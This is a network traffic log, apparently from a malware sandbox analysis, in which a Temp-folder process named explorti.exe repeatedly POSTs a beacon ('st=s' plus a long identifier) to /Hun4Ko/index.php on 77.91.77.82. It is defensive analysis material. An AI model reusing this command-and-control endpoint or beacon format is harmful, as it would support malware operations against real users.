47	192.168.2.4	49790	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:10.802880049 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:11.528498888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:11.529232025 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:11.753810883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49791	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:11.863720894 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:12.582830906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:12.583445072 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:12.809540987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49792	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:12.926804066 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:13.670336008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:13.671490908 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:13.901499987 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49793	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:14.020705938 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:14.987262964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:14.987977028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:14.988374949 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:15.204631090 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49794	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:15.320323944 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:16.020829916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:16.024343014 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:16.241916895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49795	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:16.364676952 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:17.480835915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:17.481734991 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:17.698122025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49796	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:17.817056894 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:18.537436962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:18.538301945 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:18.765829086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49797	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:18.887799025 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:19.588130951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:19.588876009 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:19.805587053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49798	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:19.927860022 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:20.635029078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:20.639369965 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:20.862685919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49799	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:20.973994017 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:21.667681932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 28, 2024 22:33:21.671705961 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:21.892128944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49800	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:22.008121014 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:22.713355064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49801	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:22.745290995 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:23.445724010 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49802	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:23.570466042 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:24.282160044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49803	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:24.292118073 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:25.014478922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49804	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:25.142519951 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:25.846144915 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
